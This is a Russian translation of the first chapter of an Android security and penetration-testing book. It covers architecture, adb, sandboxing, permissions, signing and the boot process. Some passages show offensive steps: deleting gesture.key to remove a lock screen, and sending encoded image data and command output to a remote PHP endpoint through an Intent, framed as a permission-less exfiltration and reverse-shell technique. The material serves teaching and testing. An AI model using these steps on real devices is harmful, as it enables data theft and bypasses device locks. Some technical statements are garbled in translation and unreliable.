Первая глава. Android: основы безопасности

Автор: Aditya Gupta

Переводчик: Летучий дракон

Введение

Android — одна из самых популярных операционных систем для смартфонов. С ростом популярности растёт и количество угроз безопасности, которые неизбежно проникают в приложения и подвергают опасности пользователей. В этой книге мы рассмотрим различные аспекты безопасности и тестирования на проникновение в приложениях Android.

Цель этой главы — заложить основу для понимания безопасности Android, которая будет использоваться в последующих главах.

1.1 Введение в Android

С момента приобретения Google компания значительно развила Android. За последние 9 лет, особенно в области безопасности, произошло множество изменений. Сегодня это самая распространённая платформа для интеллектуальных мобильных устройств, особенно благодаря поддержке различных производителей, таких как LG, Samsung, Sony и HTC.

В последующих версиях Android были введены новые концепции, такие как Google Bouncer и Google App Verifier. Мы подробно рассмотрим их в этой главе.

Если мы посмотрим на архитектуру Android, то увидим, что она разделена на четыре разных уровня. Внизу находится ядро Linux, модифицированное для лучшей производительности в мобильной среде. Ядро Linux также отвечает за взаимодействие со всеми аппаратными компонентами и включает большинство драйверов оборудования. Кроме того, оно отвечает за большинство функций безопасности в Android. Благодаря тому, что Android основан на платформе Linux, разработчикам легче переносить Android на другие платформы и архитектуры.

Android также предоставляет уровень абстракции оборудования, который позволяет разработчикам создавать программные крючки между стеком платформы Android и желаемым оборудованием.

На уровне ядра Linux находятся некоторые из наиболее важных и полезных библиотек, таких как:

— Surface Manager: управляет окнами и экранами; — Media Framework: позволяет использовать различные типы кодеков для воспроизведения и записи различных медиафайлов; — SQLite: облегчённая версия SQL для управления базами данных; — WebKit: браузерный движок рендеринга; — OpenGL: используется для правильного отображения 2D- и 3D-контента на экране.

Вот графическое представление архитектуры Android с сайта разработчиков Android:

[Рисунок 1-1-1]

Библиотеки в Android написаны на C и C++, большая часть которых перенесена из Linux. Основное отличие от Linux заключается в том, что в Android нет библиотеки libc, используемой для большинства задач в Linux. Вместо этого в Android есть собственная библиотека под названием bionic, которую можно рассматривать как модифицированную версию libc для Android.

На том же уровне находятся компоненты из среды выполнения Android — Dalvik Virtual Machine (DVM) и основные библиотеки. Мы обсудим Dalvik VM более подробно в следующей части этой книги.

Над этим уровнем находится уровень приложений, который поддерживает выполнение различных типов задач приложениями.

Кроме того, большинство приложений, созданных разработчиками, взаимодействуют только с первым уровнем и верхним уровнем приложений. Архитектура спроектирована таким образом, чтобы каждый уровень поддерживал вышестоящие уровни в любой момент времени.

Ранние версии Android (<4.0) основаны на ядре Linux 2.6.x, а более новые версии — на ядре 3.x. Вот список различных версий Android и используемых ими ядер Linux:

[Таблица 1-1-2]

Все приложения в Android работают в виртуальной среде, называемой Dalvik Virtual Machine (DVM). Здесь важно отметить, что начиная с версии 4.4, существует ещё одна среда выполнения под названием Android Runtime (ART), и пользователи могут свободно переключаться между средами DVM и ART.

Однако для этой книги мы сосредоточимся только на реализации Dalvik Virtual Machine. Она похожа на Java Virtual Machine (JVM), но основана на регистрах, а не на стеке. Таким образом, каждое запущенное приложение будет работать в своём собственном экземпляре Dalvik Virtual Machine. Если мы запустим три разных приложения, будет создано три разных виртуальных экземпляра. Теперь здесь важно подчеркнуть, что даже если он создаёт виртуальную среду для запуска приложений, её не следует путать с контейнером или средой безопасности. Основной фокус DVM — производительность, а не безопасность.

Dalvik Virtual Machine выполняет файлы формата .dex, или Dalvik Executable Files. Мы рассмотрим формат .dex более подробно и проанализируем его в следующем разделе. А пока давайте продолжим взаимодействие с adb и более глубокое изучение устройств Android и их структуры.

1.2 Глубокое погружение в Android

Если у вас есть устройство Android или вы работаете с эмулятором Android, вы можете использовать инструменты, предоставляемые самим Android SDK (называемые adb). Мы подробно обсудим adb во второй главе. Сейчас мы просто установим SDK, и всё готово.

Как только устройство подключено через USB, мы можем ввести adb в нашем терминале, который покажет список серийных номеров подключённых устройств. Убедитесь, что вы включили функцию отладки по USB в настройках устройства.

$ adb devices
List of devices attached
emulator-5554   device

Теперь, как мы видели ранее, Android основан на ядре Linux, поэтому большинство команд Linux будут отлично работать на Android через adb shell. Adb shell предоставляет вам прямой доступ к оболочке устройства, где вы можете выполнять команды, операции и анализировать информацию, хранящуюся на устройстве. Чтобы выполнить оболочку, просто введите следующую команду:

adb shell.

Оказавшись в оболочке, мы можем запустить ps для вывода списка текущих процессов, запущенных в системе Android:

[Изображение 1-2-1]

Как видите, ps выводит список всех процессов, работающих в данный момент в системе Android. При внимательном рассмотрении первой колонки указаны имена пользователей. Здесь мы видим различные имена пользователей, такие как system, root, radio и ряд имён, начинающихся с app_. Процессы, начинающиеся с system, принадлежат системе, процессы с именем root выполняются как корневые процессы, радиопроцессы связаны с телефоном и беспроводной связью, а процессы app_ — это все приложения, установленные пользователем на их устройстве и работающие в настоящее время. Поэтому, подобно тому, как пользователь определяет единственного пользователя, вошедшего в систему в Linux, в Android пользователь идентифицируется по приложениям/процессам, работающим в их среде.

Таким образом, ядро модели безопасности Android основано на привилегированном разделении Linux. Каждый раз, когда запускается новое приложение на устройстве Android, ему присваивается уникальный идентификатор пользователя (UID), который впоследствии будет принадлежать к определённым предопределённым группам.

Подобно Linux, все двоичные файлы, используемые в качестве команд, находятся в /system/bin и /system /xbin. Кроме того, данные приложений, установленных нами из Play Store или любого другого источника, будут находиться в /data/data, а их оригинальные установочные файлы (.apk) будут храниться в /data/app. Кроме того, существуют некоторые приложения, требующие покупки в Play Store, а не просто бесплатной загрузки. Эти приложения будут храниться в /data/app-private/.

APK (Android Package) — это расширение файла по умолчанию для приложений Android, которое представляет собой архив, содержащий все необходимые файлы и папки приложения. Мы продолжим анализ файлов .apk в следующих разделах.

Сейчас давайте перейдём в /data/data и посмотрим, что там находится. Здесь следует отметить, что для реализации на реальном устройстве устройство должно быть рутировано и должно находиться в режиме su:

# cd /data/data
# ls
com.aditya.facebookapp
com.aditya.spinnermenu
com.aditya.zeropermission
com.afe.socketapp
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.calendar
com.android.camera
com.android.certinstaller
com.android.classic
com.android.contacts
com.android.customlocale2

Итак, здесь мы видим, например, com.aditya.facebookapp — это отдельная папка приложения. Теперь вы, возможно, задаётесь вопросом, почему они разделены точками, а не обычными именами папок, такими как FacebookApp или CameraApp. Таким образом, эти папки имён указывают на имя пакета каждого приложения. Имя пакета является уникальным идентификатором приложения в Play Store и на устройстве. Например, может существовать несколько приложений для камеры или калькулятора с одинаковыми именами. Поэтому для уникальной идентификации разных приложений используются имена пакетов вместо обычных названий приложений.

Если мы войдём в любую папку приложения, мы увидим различные подпапки, такие как files (файлы), databases (базы данных) и cache (кэш), которые мы рассмотрим позже в главе 3 «Обратное проектирование и аудит Android-приложений».

Одним из наиболее распространённых средств защиты является блокировка экрана или PIN-код, который по умолчанию присутствует во всех Android-устройствах. Вы можете настроить свой собственный режим, зайдя в «Настройки» → «Безопасность» → «Блокировка экрана».

Как только мы установили пароль или блокировку экрана, мы продолжим и подключим телефон к нашей системе через USB. Теперь ключ пароля или данные режима блокировки хранятся в `/data/system` под именем `password.key` или `gesture.key`. Обратите внимание, что если устройство заблокировано и USB-отладка включена, вам потребуется кастомный загрузочный загрузчик для открытия USB-отладки. Весь процесс выходит за рамки этой книги. Чтобы узнать больше об Android, обратитесь к демонстрации Томаса Кэннона на Defcon.

Поскольку взлом пароля/режима будет более сложным и потребует перебора (мы увидим, как расшифровать фактические данные), мы просто продолжим и удалим этот файл, что удалит защиту режима с нашего телефона:

```shell@android:/data # cd /data/system
shell@android:/data/system # rm gesture.key

Таким образом, мы видим, что после получения root-прав на телефоне практически всё можно сделать, используя только телефон, кабель USB и систему. Мы узнаем больше о USB-основанных атаках в следующих главах этой книги.

1.3 Песочница и модель разрешений

Чтобы понять песочницу Android, давайте рассмотрим пример:

На рисунке выше, как показано на предыдущем рисунке и обсуждалось ранее, каждое приложение в Android работает в своём собственном экземпляре Dalvik VM. Вот почему, когда любое приложение на нашем устройстве даёт сбой, оно просто показывает принудительное закрытие или опцию ожидания, но другие приложения продолжают работать нормально. Кроме того, поскольку каждое приложение работает в своём собственном экземпляре, данные другого приложения не могут быть доступны, если контент-провайдер не указал иное.

Android использует мелкозернистую модель разрешений, которая требует, чтобы приложения определяли свои разрешения перед компиляцией окончательного пакета приложений.

Вы должны заметить, что каждый раз, когда вы загружаете приложение из Play Store или любого другого источника, оно покажет экран разрешений во время процесса установки, похожий на скриншот ниже:

Этот экран разрешений показывает список задач, которые приложение может выполнять на вашем телефоне, таких как отправка SMS, доступ в Интернет и доступ к камере. Запрос большего количества разрешений, чем необходимо, делает приложение более привлекательной целью для разработчиков вредоносных программ.

Разработчики Android-приложений должны указать все эти разрешения в файле с именем AndroidManifest.xml, который находится в папке platform.xml в каталоге /system/etc/permissions. В этом файле содержится список различной информации о приложении, такой как минимальная версия Android, необходимая для запуска программы, имя пакета, список активностей (видимые интерфейсы приложения), сервисы (фоновые процессы приложения) и разрешения. Если разработчик приложения не сможет указать разрешения в AndroidManifest.xml и всё равно использует их в приложении, приложение выйдет из строя и покажет сообщение о принудительном закрытии при запуске пользователем.

Нормальный файл AndroidManifest.xml выглядит так, как показано ниже. Здесь вы можете увидеть <uses-permission> и другие теги, указывающие на различные требуемые разрешения:

Как упоминалось ранее, всем приложениям Android присваивается уникальный UID после первого запуска после установки. Пользователи (в данном случае приложения) принадлежат к определённой группе в зависимости от запрашиваемых ими разрешений. Например, приложение, которое запрашивает только разрешение на доступ в интернет, будет принадлежать группе inet, потому что разрешение на доступ в интернет находится в группе inet в Android.

Пользователь (в этом случае приложение) может принадлежать нескольким группам, в зависимости от запрошенных им разрешений. Или, другими словами, каждый пользователь может принадлежать к нескольким группам, и каждая группа может иметь несколько пользователей. Эти группы имеют уникальное название, определяемое идентификатором группы (GID). Однако разработчики могут явно указать, что другие приложения работают под тем же UID. На нашем устройстве группы и разрешения указаны в файле platform.xml, расположенном в /system/etc/permissions:

Кроме того, это устранило подозрения относительно локальных приложений, работающих на устройствах Android. Поскольку локальные приложения взаимодействуют непосредственно с процессором, а не работают в Dalvik VM, они не влияют на общую модель безопасности каким-либо образом.

Теперь, как мы видели ранее, приложения хранят свои данные в location/data/data/[package name]. Теперь все папки, в которых хранятся данные приложений, также имеют одинаковый идентификатор пользователя, что составляет основу модели безопасности Android. В зависимости от UID и прав доступа к файлу, он будет ограничивать доступ и изменение других приложений с разными UID к нему.

В следующем примере кода ret содержит изображение, хранящееся в кодировке Base64 на SD-карте, которое теперь загружается в браузер для отправки на сайт attify.com. Цель состоит в том, чтобы найти способ общения между двумя различными объектами Android.

Сначала мы создадим объект для хранения изображения, закодированного в Base64, и сохраним его в строке imageString:

Наконец, мы запустим браузер, чтобы отправить данные на наш сервер, у нас есть .php файл, который прослушивает входящие данные: Интент (Intent.ACTION_VIEW, Uri.parse("http://attify.com/up.php?u="+imageString)));

Мы также можем выполнять команды и отправлять вывод на удаленный сервер таким же образом. Однако здесь следует отметить, что shell должен работать под пользователем приложения:

```java
// Для выполнения команд : 
String str = "cat /proc/version";     //команда для выполнения хранится в str.
process = Runtime.getRuntime().exec(str);

Это интересное явление, потому что злоумышленник может получить обратный шелл (это двустороннее соединение от устройства к системе, которое можно использовать для выполнения команд), не требуя никаких разрешений.

1.4 Подпись приложения

Подпись приложения является одной из уникальных особенностей Android, которая стала успешной благодаря своей открытости и сообществу разработчиков. В магазине Play более миллиона приложений. В Android любой может создать приложение для Android с помощью загрузки Android SDK, а затем опубликовать его в магазине Play. Обычно существует два типа механизмов подписи сертификата. Один подписан сертификатом органа сертификации (CA), а другой — самоподписанным сертификатом. Без промежуточного центра сертификации (CA) разработчики могут создавать свои собственные сертификаты и подписывать ими приложения.

В модели iOS-приложений Apple мы видим подпись CA, где каждое приложение, загружаемое в App Store, проверяется разработчиком, а затем подписывается Apple. Как только он загружен на устройство, устройство проверяет, подписано ли приложение Apple CA, и разрешает запуск приложения.

Однако в Android все наоборот. Нет центра сертификации; вместо этого разработчик может подписать приложение своим самосозданным сертификатом. После завершения загрузки Google Bouncer проверит приложение, виртуальную среду, используемую для проверки того, является ли приложение вредоносным или законным. После проверки приложение будет отображаться в магазине Play. В этом случае Google не подписывает это приложение. Разработчики могут использовать инструменты, называемые keytool, которые поставляются с Android SDK, или использовать Eclipse GUI для создания сертификатов.

Таким образом, в Android, как только разработчик подписал приложение своим созданным сертификатом, ему необходимо сохранить ключ сертификата в безопасном месте, чтобы другие люди не могли украсть его ключ и использовать сертификат разработчика для подписания других приложений.

Если у нас есть файл приложения Android (.apk), мы можем проверить подпись приложения и найти человека, который подписал приложение с помощью инструмента, называемого jarsigner, который поставляется с Android SDK:

$ jarsigner -verify -certs -verbose testing.apk

Ниже приведен снимок экрана с экрана после запуска вышеуказанной команды и получения информации о подписи приложения:

Кроме того, после распаковки файла .apk мы можем проанализировать содержимое ASCII файла CERT.RSA в папке META-INF, чтобы получить подпись, как показано в следующей команде:

$ unzip testing.apk
$ cd META-INF
$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer
$ cat out.cer

Это полезно при обнаружении и анализе неизвестных примеров Android .apk. Таким образом, мы можем использовать его для получения подписавшего лица и другой подробной информации.

1.5 Процесс запуска Android

При рассмотрении безопасности в Android одним из самых важных моментов является процесс запуска Android. Весь процесс загрузки начинается с загрузочного загрузчика, который запускает процесс init — первый пользовательский процесс.

Поэтому любое изменение загрузочного загрузчика или загрузка другого, отличного от стандартного загрузочного загрузчика, фактически позволяет нам изменять контент, загружаемый на устройство. Загрузочный загрузчик обычно зависит от поставщика, каждый поставщик имеет свою модифицированную версию загрузочного загрузчика. Обычно эта функция заблокирована по умолчанию путем привязки загрузочного загрузчика, позволяя запускать только доверенное ядро на устройстве, указанное поставщиком. Чтобы прошить свой собственный ROM на Android-устройство, необходимо разблокировать загрузочный загрузчик. Процесс разблокировки загрузочного загрузчика может различаться в зависимости от устройства. В некоторых случаях это также может привести к аннулированию гарантии устройства.

Примечание

На Nexus 7 это так же просто, как использование инструмента командной строки fastboot, как показано ниже:

$ fastboot oem unlock

Для других устройств может потребоваться больше усилий. Мы рассмотрим, как создать собственный загрузчик и использовать его в последующих главах этой книги.

Возвращаясь к процессу запуска, после того как загрузочный загрузчик запустит ядро и запустит init, он монтирует некоторые важные каталоги, необходимые для работы системы Android, такие как /dev, /sys и /proc. Кроме того, init получает свою конфигурацию из файлов конфигурации init.rc и init.[device-name].rc, а в некоторых случаях — из файла .sh, расположенного в том же месте.

Если мы выполним cat для файла init.rc, мы сможем увидеть все спецификации, используемые при загрузке init, как показано на следующем снимке экрана:

Обязанность init — запустить другие необходимые компоненты, такие как adbd (adb daemon), который отвечает за связь ADB и vold (volume daemon).

Некоторые свойства, используемые во время загрузки, находятся в файле build.prop, который находится в местоположении/системе. Когда вы видите логотип Android на устройстве, процесс загрузки init завершен. Как видно на следующем снимке экрана, мы получаем конкретную информацию об устройстве, проверяя файл build.prop:

После загрузки всего init наконец загружает процесс, называемый Zygote, который отвечает за загрузку Dalvik Virtual Machine и разделяемых библиотек с минимальным пространством для ускорения процесса загрузки. Кроме того, он продолжает прослушивать новые вызовы для себя, чтобы запустить больше DVM при необходимости. Это происходит, когда вы видите анимацию запуска Android на устройстве.

Как только все полностью запущено, Zygote разветвляет себя и запускает систему, загружая другие необходимые компоненты Android, такие как диспетчер активности. Как только весь процесс загрузки завершен, система отправляет широковещательную рассылку BOOT_COMPLETED, которую многие приложения могут использовать для прослушивания с помощью компонента, называемого широковещательным приемником, в приложении Android. Когда мы анализируем вредоносное ПО и приложения в главе 3 «Обратная инженерия и аудит Android-приложений», мы узнаем больше о широковещательных приемниках.

Заключение

В этой главе мы заложили основу для изучения тестирования на проникновение Android. Мы также узнали о внутренней структуре Android и его системе безопасности.

В следующих разделах мы создадим лабораторию тестирования проникновения Android и будем выполнять больше технических задач с использованием этих знаний, чтобы проникнуть в устройства и приложения Android. Мы также узнаем больше об ADB и используем его для сбора и анализа информации об устройствах.